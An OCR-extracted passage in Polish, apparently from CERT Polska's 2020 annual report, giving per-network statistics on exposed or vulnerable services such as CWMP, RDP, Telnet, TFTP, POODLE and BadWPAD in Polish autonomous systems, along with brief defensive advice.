ustugg NetBIOS. Niewielki spadek odnotowali-
smy dopiero w koncowce roku. Nie jestesmy
jednak w stanie na ten moment stwierdzic¢ czy
jest to dtugofalowy trend. Wszystkie systemy
autonomiczne z tabeli poza AS198414 (H88)
wykazywaty podobny przebieg do wykresu
0golnego. Warto zwrécic jednak uwage na ten
konkretny system autonomiczny, poniewaz
w jego przypadku mamy do czynienia ze sko-
kowym spadkiem z poziomu niecatych 200
adresow do 50 adresow w koncowce roku.
Moze miec to zwigzek ze zmiang w konfiguracji
urzadzen w systemie autonomicznym tego
operatora.



nask CERT.PLO-

Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 7747 9188 0,14%
2 12741 Netia 823 956 0,05%
3 198414 H88 144 198 1,94%
4 8267 CYFRONET AGH 136 178 0,18%
5 13110 Inea 130 142 0,08%
6 12824 home.pl 129 145 0,06%
7 8374 Plus / Cyfrowy 124 140 0,01%
Polsat
8 5588 T-Mobile 97 111 0,01%
9 8970 WASK 94 121 0,14%
10 21021 Multimedia 79 92 0,01%

Tab. 17. Dzienna liczba adreséw, na ktérych wykryto dziatajagca ustuge NetBIOS na dostepnym publicznie interfejsie,

w podziale na systemy autonomiczne.

MDNS

MDNS (ang. Multicast DNS) to protokot, ktory
rozwigzuje nazwy hostow na ich adresy IP.
Powinien by¢ stosowany tylko w niewielkich
sieciach, w ktérych nie istnieje lokalny serwer
nazw, np. do wyszukiwania urzgdzen takich jak
drukarki. Jezeli jest dostepny z internetu, moze
zostac¢ wykorzystany do przeprowadzenia
ataku DRDoS.

Otrzymalismy 1 509 928 zgtoszen na temat 86
182 adresow IP obstugujgcych mDNS. Jest to
spadek o okoto 50 proc. pod wzgledem liczby
adresow IP. Dzienna srednia liczba adresow IP
wyniosta 5 178 i jest to spadek o okoto 8 proc.
Po raz kolejny na pierwszym miejscu w ze-
stawieniu znajduje sie system autonomiczny
nalezgcy do Orange (AS5617). W poréwnaniu
do 2019 r. Srednia liczba adresow IP w tym
przypadku utrzymuje sie na bardzo podobnym
poziomie. Delikatny spadek wynika jedynie
ze spadku w koncowce roku. Spadek ten jest
widoczny w kazdym z systemow autonomicz-
nych co ma wptyw na wyglad wykresu ogdlne-

go.
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) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 1313 1740 0,02%
2 6830 UPC 420 498 0,00%
3 12741 Netia 266 319 0,02%
4 29314 Vectra 205 287 0,04%
5 21021 Multimedia 167 226 0,03%
6 9112 POZMAN 118 149 0,16%
7 8970 WASK 115 142 0,18%
8 8267 CYFRONET 108 135 0,14%
9 16342 Toya 102 149 0,07%
10 13110 Inea 77 92 0,05%

Tab. 18. Dzienna liczba adresoéw, na ktérych wykryto dziatajacg ustuge mDNS na dostepnym publicznie interfejsie,

w podziale na systemy autonomiczne.

Podatne ustugi

W tej sekcji zostaty przedstawione statystyki
dotyczgce ustug narazonych na ataki oraz
podatnosci w ustugach, ktore mogg prowa-
dzi¢ do wyciekéw informacji. Znajdujg sie tu
zarowno ustugi, w ktérych wystepujg znane
podatnosci, jak i ustugi, ktore nie zostaty po-
prawnie skonfigurowane, umozliwiajgc na przy-
ktad nieograniczony dostep z internetu wbrew
dobrym praktykom bezpieczenstwa, lub dostep
do aplikacji bez uwierzytelnienia. W 2020 r.
odnotowalismy 67 153 021 takich obserwacji
dotyczacych 1 866 518 adresow IP z Polski.

Na kolejnych stronach zostaty przedstawione
szczegotowe informacje o zagrozeniach, ktore
wystepujg w polskich sieciach najczescie;j.
Przedstawione statystyki zostaty obliczone
analogicznie jak w podrozdziale dotyczgcym
ustug pozwalajgcych na prowadzenie atakow
DRDoS. W przypadku podatnych ustug wystgpit
ten sam problem z mato wiarygodnymi danymi
pochodzgcymi z AS5617 (Orange). Zostata
wiec uzyta ta sama metoda szacowania, ktorej
opis znajduje sie w wyzej wspomnianym pod-
rozdziale (zob. str. 150).
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Wsrod najczesciej wystepujgcych podatnych
ustug wysokg pozycje zajety: RDP, Telnet i TFTP.
Tego rodzaju ustugi najczesciej zabezpieczane
sg poprzez ograniczanie do nich dostepu
z zewnetrznych adresow, dlatego publiczna
dostepnosc¢ ustugi moze wskazywac na btad
konfiguracji i potencjalng podatnos¢. Nato-
miast samo zgtoszenie publicznej dostepnosci
ustugi nie znaczy jeszcze, ze jest ona podatna.
Na przyktad dostepnosc ustugi RDP z internetu,
jesli jej oprogramowanie jest aktualne i odpo-
wiednie mechanizmy zabezpieczenia sg wig-
czone, nie jest podatnoscig. Niemniej jednak,
taki sposob dostepu powinien by¢ uzywany
tylko w sytuacji, gdy nie ma innej mozliwosci.
Zalecamy stosowanie mechanizméw VPN jako
dodatkowej ochrony ustug zdalnego dostepu
takich jak RDP lub VNC.

Powyzsze rozumowanie trudniej zastoso-
wac do baz danych lub podobnych aplikacji
(Memcached, MongoDB, Elasticsearch, Redis).
W ich przypadku dostep publiczny jest niemal
na pewno wynikiem btednej konfiguracji i nale-
zy taka sytuacje traktowac jako podatnosc.



nask CERT.PLO-

Srednia dzienna Dzienne maksi-

Poz. Nazwa poc.iatnos'f:i liczba adresow  mum adreséw Odchylenie Czas ..
/ otwartej ustugi P P standardowe obserwac;ji
1 CWMP 94 020 187 319 52438 93,99%
2 SSL-POODLE 32419 44938 5709 94,54%
3 RDP 23 572 43 092 3737 94,26%
4 Telnet 21224 29 861 2578 95,63%
5 TFTP 15720 18 493 1431 92,08%
6 BadWPAD 11 882 18 396 3132 100,00%
7 ISAKMP 7917 10 700 621 90,71%
8 SSL-FREAK 5368 7163 1006 94,54%
9 SMB 4320 6 105 793 94,54%
10 VNC 3911 6 580 696 93,72%
11 NAT-PMP 2985 4150 528 91,80%
12 IPMI 1023 1154 93 93,72%
13 MongoDB 496 611 60 94,26%
14 Memcached 173 233 28 94,54%
15 LDAP 68 145 28 91,53%
16 Elasticsearch 63 125 21 95,08%
17 Redis 27 42 6 95,36%

Tab. 19. Zestawienie najliczniej wystepujacych w Polsce ustug zagrozonych atakiem. Odchylenie standardowe dotyczy
zmiennosci w dziennej liczbie adreséw IP obserwowanych na przestrzeni roku. taczny czas obserwacji odpowiada
liczbie dni w ciagu roku, dla ktérych mieliSmy informacje o danej ustudze.

W 2020 r. nastgpita zmiana na dwoch pierw-
szych miejscach w tabeli w poréwnaniu
z rokiem poprzednim. Miejscami zamienity
sie Poodle i CWMP. Spadek sredniej dziennegj
liczby adreséw IP spowodowat, ze protokot
TFTPR ktory w 2019 r. byt na 3. miejscu, obecnie
znajduje sie na 5. pozycji.

Na wykresie 3. zostat pokazany przebieg
zaobserwowanej przez nas liczby urzadzen,
na ktorych znajdujg sie podatne ustugi w skali
roku, stworzony przy uzyciu omawianej powy-
zej metody aproksymacji liczby adresow IP.
Wykresy zostaty sporzgdzone dla 7 najczesciej
zgtaszanych ustug.

Patrzgc na wykres mozemy zauwazyc¢ pozy-
tywny trend w zakresie stopniowego spadku
liczby urzgdzen zwigzanych z podatnoscig
Poodle i ustugami RDP, Telnet oraz ISAKMP
na przestrzeni catego roku. Szczegdlng
uwage zwraca wykres dla ustugi CWMP. W jej
przypadku liczba adresow IP utrzymywata sie
na stabilnym poziomie (podobnym do poziomu
z 2019 r.) az do konca lipca 2020 r. Na duzy
wzrost liczebnosci rozpoczynajgcy sie po tej
dacie miat wptyw AS6830 nalezgcy do UPC.
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w 2020 r.
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CWMP

CWMP to ustuga oparta na specyfikacji TR-069,
implementowana najczesciej w domowych
routerach DSL. Umozliwia zdalne zarzadzanie
urzadzeniem przez operatorow, np. aktualizacje
firmware. Niepoprawna implementacja tej ustu-
gi pozwala na przejecie catkowitej kontroli nad
urzgdzeniem przez atakujgcego. Podatnosc¢
te wykorzystujg m.in. botnety 10T, infekujgc
kolejne urzgdzenia.

W 2020 r. otrzymalismy 28 440 764 zgtoszenia
0 1099 930 adresach IP z dostepng publicznie
ustugg CWMP. Jest to spadek o prawie 400
tys. adreséw w poréwnaniu do 2019 r. i spa-
dek o okoto 800 tys. w poréwnaniu z 2018 r.
Dzienna srednia liczba adresow wynosita
94 020, co jest okoto dwukrotnym wzrostem
w porownaniu do poprzedniego roku. Naj-
bardziej znaczgcy wptyw na ten wzrost miat
system autonomiczny UPC (AS6830). W 2020
r. Srednia dzienna liczba adresow w jego przy-
padku wynosita prawie 58 tys., podczas gdy rok
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wczesniej tylko okoto 2 tys. Do zmiany doszto
pod koniec czerwca, gdy z poziomu kilku tysie-
cy adresow wartosci zaczety stopniowo rosngc
by w ciggu miesigca 0siggngc¢ putap okoto 120
tys., ktory utrzymywat sie juz do konca roku.
Znaczny udziat AS6830 w catkowitej liczbie ad-
resow IP dla ustugi CWMP determinuje ksztatt
wykresu ogolnego. Warto takze zwrdcic uwage
na AS5588 nalezgcy do T-Mobile, gdzie odno-
towalismy okoto pieciokrotny wzrost sredniej
dziennej liczby adreséw IP w poréwnaniu z po-
przednim rokiem. Wartosc¢ ta stale wzrastata
od poczatku sierpnia 2019 r. by ustabilizowac
sie w potowie 2020 r. na poziomie okoto 14 tys.
adresow. W przypadku tego systemu autono-
micznego odnotowalismy tez gwattowny spa-
dek na poczatku grudnia do poziomu kilkuset,
co moze Swiadczy¢ o zmianie w konfiguracji
urzadzen w systemie autonomicznym tego
operatora. Podobnie jak rok wczesniej niepokoi
wysoki odsetek podatnych adresow w sieci
ARREKS (AS41023) — podatnych jest az 20
proc. wszystkich adresow w tym systemie
autonomicznym.

) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 6830 UPC 57 957 148 482 0,48%
2 5617 Orange 15260 60 421 0,28%
3 5588 T-Mobile 9630 14 958 0,70%
4 12741 Netia 6 433 9081 0,39%
5 21021 Multimedia 887 1166 0,15%
6 41023 ARREKS 786 961 21,93%
7 29314 Vectra 481 633 0,09%
8 56391 VTELECOM 374 522 3,84%
9 39507 IPI Vision 340 481 0,92%
10 57478 DAR.NET 299 333 5,56%

Tab. 20. Dzienna liczba adreséw, na ktérych wykryto ustuge CWMP dostepna na publicznym interfejsie, w podziale

na systemy autonomiczne.
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SSL-POODLE

Znane podatnosci protokotu SSL/TLS sg
nadal powszechnym zjawiskiem wsrod uzyt-
kownikow polskiego internetu. Zdecydowanie
najczesciej wystepujgcyg jest POODLE, ktoéra
umozliwia atak doprowadzajgcy do ujawnienia
przekazywanych zaszyfrowanych informacji.

Otrzymalismy 10 402 123 zgtoszenia 0 271 096
adresach IP. Jest to spadek o okoto 500 tys.
adresow w poréwnaniu z 2019 r. Srednia
dzienna liczba adresow wynosita tylko 32
419, co jest spadkiem o okoto 110 tys.
w poréwnaniu do poprzedniego roku. Byto to
spowodowane gwattownym spadkiem liczby
adresow w AS12741 nalezgcym do Netii.
Spadek ten zaobserwowano pcod koniec lipca
2019 r. Do tego momentu liczba adresow IP
utrzymywata sie tam na poziomie powyzej 160

tys. Po tej dacie nastgpit spadek ponizej 10
tys., z utrzymujaca sie do konca roku niewielkg
tendencjg spadkowg. Pomimo zmniegjszenia sie
liczby podatnych adreséw system autonomicz-
ny Netii ponownie znalazt sie na pierwszym
miejscu w tabeli. Do podobnego spadku w tym
samym okresie doszto w systemie autono-
micznym nalezgcym do Internetii (AS43939).
Na przestrzeni 2020 r. w wiekszosci systemow
autonomicznych obserwowalismy delikatny,
stopniowy spadek. Wyjagtkiem jest AS59958
(PH.U MMJ), w ktorym liczba adresow stale
rosta. W przypadku UPC (AS6830) zanotowa-
lismy skokowy wzrost, ktory moze wskazywac
na zmiany w konfiguracji urzgdzen w systemie
autonomicznym tego operatora. Wsrod 10
sieci z najwiekszg srednig liczbg podatnych
urzgdzen uwage zwraca rowniez sie¢ Interplus
(AS60782), gdzie okoto 10 proc. wszystkich
rozgtaszanych adresow byto podatnych.

) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 12741 Netia 6 302 7 931 0,38%
2 5617 Orange 4 549 15296 0,08%
3 20655 e-Style 1231 1252 5,46%
4 43939 Internetia 900 1137 0,34%
5 6830 UPC 807 2378 0,01%
6 5588 T-Mobile 554 748 0,04%
7 59958 PH.UMMJ 481 794 2,44%
8 60782 INTERPLUS 444 531 10,20%
9 35745 PROVECTOR 412 499 1,34%
10 31242 TKPSA 389 485 0,38%

Tab. 21. Dzienna liczba adresoéw, na ktorych wykryto dziatajgca ustuge SSL z podatnoscia POODLE, w podziale

na systemy autonomiczne.
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RDP

Protokdt RDP (ang. Remote Desktop Protocol)
jest wtasnosciowym protokotem stworzonym
przez Microsoft, stuzgcym do zdalnego do-
stepu do srodowisk graficznych w systemach
Windows. Pomimo ze protokot RDP gwaran-
tuje wygodny dostep do systemow, zalecamy
zamkniecie dostepu do portu 3389 na interfej-
sach zewnetrznych.

W 2020 r. otrzymalismy 5 740 528 zgtoszen
0 129 467 adresach IP (spadek o prawie 200
tys.), na ktérych wykryto ustuge RDP dostepng
na publicznym interfejsie. Srednia dzienna
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liczba adresow wynosita 23 572 (spadek o 10
proc. w poréwnaniu z 2019 r.). W wiekszosci
systemow autonomicznych, ktore znalazty sie
w tabeli, mozna zauwazyc¢ niewielkg tenden-
cje spadkowa analogiczng do tej pokazanej
na wykresie ogolnym. Inaczej sytuacja wyglada
jedynie w przypadku OVH (AS16276), gdzie
nastgpit skokowy spadek liczby adresow w po-
towie lutego z poziomu okoto 1000 adresow.
Wraz z uptywem roku sytuacja byta stabilna
i liczba adresow IP utrzymywata sie na pozio-
mie niecatych 300. Podobnie jak rok wczesniej
w przypadku ustugi RDP dominowat system
autonomiczny Orange (AS5617) ze srednig
dzienng liczbg adresow na zblizonym poziomie.

) Odsetek wszyst-

Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 8612 27 424 0,16%
2 12741 Netia 1511 1932 0,09%
6830 UPC 861 1045 0,01%
4 8374 Plus / Cyfrowy 450 617 0,03%

Polsat

5 13110 Inea 376 441 0,22%
6 12912 T-Mobile 370 439 0,05%
7 16276 OVH 343 1103 0,01%
8 8970 WASK 338 403 0,52%
9 21021 Multimedia 320 403 0,05%
10 56694 Smart Ape 273 1187 2,01%

Tab. 22. Dzienna liczba adreséw, na ktérych wykryto ustuge Telnet dostepna na publicznym interfejsie, w podziale

na systemy autonomiczne.

TELNET

Telnet jest przestarzatym protokotem komu-
nikacyjnym do obstugi zdalnego terminala,
poprzednikiem wspotczesnego SSH. Jego
najwiekszg staboscig jest catkowity brak
szyfrowania, dlatego nie nalezy go uzywac,
zwtaszcza w sieciach publicznych.

W 2020 r. zebralismy 5 761 196 zgtoszen doty-
czgcych 168 680 adresow IP. Srednia dzienna
liczba adresow wynosita 21 224. W przypadku

tego protokotu srednia dzienna liczba adresow
malata lub utrzymywata sie na tym samym
poziomie w wiekszosci systemow autonomicz-
nych. Wyjatkiem jest jedynie AS21021, nale-
zgcy do sieci Multimedia, gdzie notowalismy
niewielki wzrost w trakcie roku, a od grudnia
spadek. Wsrod systemow autonomicznych
z tabeli negatywnie wyréznia sie system au-
tonomiczny C3 NET (AS202281), gdzie okoto
15 proc. wszystkich rozgtaszanych adresow
posiada dostepng ustuge Telnet.
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) Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 6 079 14186 0,11%
2 12741 Netia 3542 4 471 0,21%
3 21021 Multimedia 1012 1356 0,17%
4 202281 C3 NET 774 911 15,12%
5 8374 Plus / Cyfrowy 461 650 0,03%
Polsat
6 35191 ASTA-NET 398 632 0,68%
7 6830 UPC 312 393 0,00%
8 12912 T-Mobile 304 366 0,04%
9 5588 T-Mobile 275 349 0,02%
10 13110 Inea 248 284 0,15%

Tab. 23. Dzienna liczba adresdw, na ktérych wykryto ustuge TFTP dostepna na publicznym interfejsie, w podziale na

systemy autonomiczne.

TFTP

TFTP (ang. Trivial File Transfer Protocol) jest
prostym protokotem transferu plikow. Ze
wzgledu na brak mechanizmu uwierzytelniania
uzytkownikow, nie zalecamy udostepniania
tej ustugi w sieci internet, poniewaz moze to
prowadzi¢ do wycieku informacji.

Otrzymalismy 4 107 705 zgtoszen o 107 117
adresach IP z dostepnym TFTP. Jest to spadek
o okoto 110 tys. w poréwnaniu z 2019 r. Srednia
dzienna liczba adresow wyniosta 15 720 i jest
to spadek o prawie 13 tys. Widoczny wzrost
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na wykresie ogélnym poczgwszy od sierpnia
zostat spowodowany wzrostem w systemach
autonomicznych RTK (AS196927) oraz SPI-
-NET (AS199201). Takze w Orange (AS5617)
zanotowalismy wyzszg liczbe adresow IR,
jednak wzgledem wczesniejszego poziomu,
wzrost nie byt az tak widoczny jak w dwoch
wyzej wymienionych przypadkach. W pozo-
statych systemach autonomicznych liczba
adresow utrzymuije sie na podobnym poziomie.
Podobnie jak w poprzednim roku, w szczegol-
nosci zwraca uwage wysoki odsetek adresow
w systemie autonomicznym Spoétdzielnia
Mieszkaniowa ,Potnoc” w Czestochowie
(AS198000) oraz WIFIMAX (AS199510).
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Odsetek
Poz. Numer AS Nazwa AS Srednia Maksimum wszystkich
adresow w AS
1 5617 Orange 8194 10 371 0,15%
2 198000 ~ Spotdzielnia Mieszka- 4 5, 1848 18,68%
niowa “Pdtnoc
3 12741 Netia 720 868 0,04%
4 21021 Multimedia 372 457 0,06%
5 39507 IPI Vision 306 409 0,82%
6 196927 RTK 303 920 3,70%
7 5588 T-Mobile 210 263 0,02%
8 199201 SPI-NET 190 561 6,18%
9 200125 INTERTOR.NET 168 197 5,47%
10 199510 WIFIMAX 129 146 16,80%

Tab. 24. Dzienna liczba adreséw, na ktérych wykryto ustuge TFTP dostepna na publicznym interfejsie, w podziale

na systemy autonomiczne.

BADWPAD

BadWPAD to atak wykorzystujgcy btedng
konfiguracje sufiksow DNS na podatnych
maszynach. Potencjalnie moze on pozwoli¢
na przekierowanie dowolnych zgdan HTTP
poprzez podstawienie spreparowanych regut
konfiguracji proxy w postaci pliku PAC, pobie-
ranego automatycznie przez mechanizm Web
Proxy Auto-Discovery Protocol.

W 2020 r. otrzymalismy 4 371 170 zgtoszen
0 506 592 adresach IP, pod ktorymi dostep-
ne byty urzgdzenia podatne na ten atak.
Dzienna, srednia liczba adresow IP wyniosta

11 882 — spadek o prawie 6 tys. Na uwage za-
stuguje redukcja sredniej liczby adresow w sieci
UPC (AS6830) o okoto 6 tys. Patrzgc na wykres
0golny, widzimy skokowy spadek pod koniec
maja, na ktory wptyw miat wspomniany wyzej
system autonomiczny UPC. Od tego momentu
liczba adreséw IP w tej sieci utrzymywata sie
na poziomie kilkuset, podczas gdy wczesniej
nie spadata ponizej poziomu 5 tys. Wskazuje
to na znaczaca poprawe sytuacji w sieci tego
operatora. W przypadku pierwszego systemu
autonomicznego z tabeli, czyli Multimedia
(AS21021), liczba adresow wzrastata powoli
W Cciggu roku.
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Odsetek wszyst-

Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow

w AS
1 21021 Multimedia 4 657 6 375 0.76%
2 6830 UPC 2 554 7 635 0.02%
3 12741 Netia 554 784 0.03%
4 35191 ASTA-NET 460 647 0.79%
5 35378 SATFILM 408 585 1.37%
6 5617 Orange 358 635 0.01%
7 44061 SMSNET 255 350 1.20%
8 43118 Fast and Ylest 228 286 0.30%
9 30838 TELPOL 207 265 0.70%
10 30975 Telewizja Kablowa 173 240 0.70%

Tab. 25. Dzienna liczba adresow urzadzen podatnych na atak BadWPAD, w podziale na systemy autonomiczne.

ISAKMP Otrzymalismy 1 987 473 zgtoszenia o 13 440

adresach IP, na ktérych pojawity sie urzadzenia
Czes$é urzadzen wykorzystujgcych protokét podatne na ten atak. Dzienna Srednia wy-
IPSec moze zawieraé podatnos$é w protokole niosta 7 917 adresow (spadek o okoto 500).
IKEV1, ktéra moze prowadzi¢ do nieuwierzytel- We wszystkich systemach autonomicznych
nionego dostepu do zawartos$ci pamieci. z pierwszej dziesigtki zestawienia widoczny jest

niewielki spadek liczby adresow w przeciggu
roku lub tez liczba ta utrzymuje sie na statym
poziomie.
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Odsetek wszyst-
Poz. Numer AS Nazwa AS Srednia Maksimum kich adresow
w AS
1 5617 Orange 2957 5505 0,05%
2 12741 Netia 1425 1565 0,09%
3 5588 T-Mobile 275 328 0,02%
4 6830 UPC 202 233 0,00%
5 13110 Inea 151 173 0,09%
6 31242 TKPSA 131 151 0,13%
7 8374 Plus / Cyfrowy 106 119 0,01%
Polsat
8 21021 Multimedia 104 117 0,02%
9 20804 Exatel 102 115 0,04%
10 20960 TKTELEKOM 97 111 0,04%

Tab. 26. Dzienna liczba adreséw, na ktérych wykryto ustuge ISAKMP dostepna na publicznym interfejsie, w podziale

na systemy autonomiczne.

Ztosliwe Strony

W ubiegtym roku zebralismy informacje
o 1 585 957 adresach URL zwigzanych
z dziatalnoscig szkodliwego oprogramowania,
z czego 43 272 adresy byty w domenie .pl, a 37
011 rozwigzywato sie na polskie adresy IP.

Najpopularniejszymi domenami drugiego po-
ziomu w domenie .pl wsrod adresow URL byty
home.pl (4218 wystgpien) oraz com.pl (2658
wystgpien).

Analogicznie zebraliSmy informacje 0 281 435
nazwach domenowych, z czego 3373 nazwy
byty w domenie .pl, a 4142 rozwigzywato sie
na polskie adresy IP. Najpopularniejsze adresy
IP, w ktorych znajdowaty sie te domeny, przed-
stawiono w tabeli 27.

Najczesciej wystepujgcymi domenami dru-
giego poziomu w domenie .pl, wsrod nazw
domenowych byty com.pl (251 wystagpien),
home.pl (205 wystgpien) oraz neostrada.pl
(125 wystgpien).
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Odsetek
Poz. Liczba IP ASN Nazwa wszystkich Udziat
adreséow w AS
1 82 555 4837 China169 0,14% 27,20%
2 49 758 17488 Hathway 5,09% 16,39%
3 20 846 13335 Cloudflare 1,33% 6,87%
4 13 401 4134 Chinanet 0,01% 4,41%
5 6 808 9829 Sancharnet 0,12% 2,24%
6 6676 16509 Amazon 0,02% 2,20%
7 5730 46606 Unified Layer 0,42% 1,89%
8 4 567 17813 BOL.NET 0,33% 1,50%
9 3749 14061 Digital Ocean 0,17% 1,24%
10 3046 26496 GoDaddy 0,33% 1,00%

Tab. 27. Systemy autonomiczne, w ktorych znajdowato sie najwiecej adreséw IP zwigzanych ze ztosliwym oprogra-

mowaniem.
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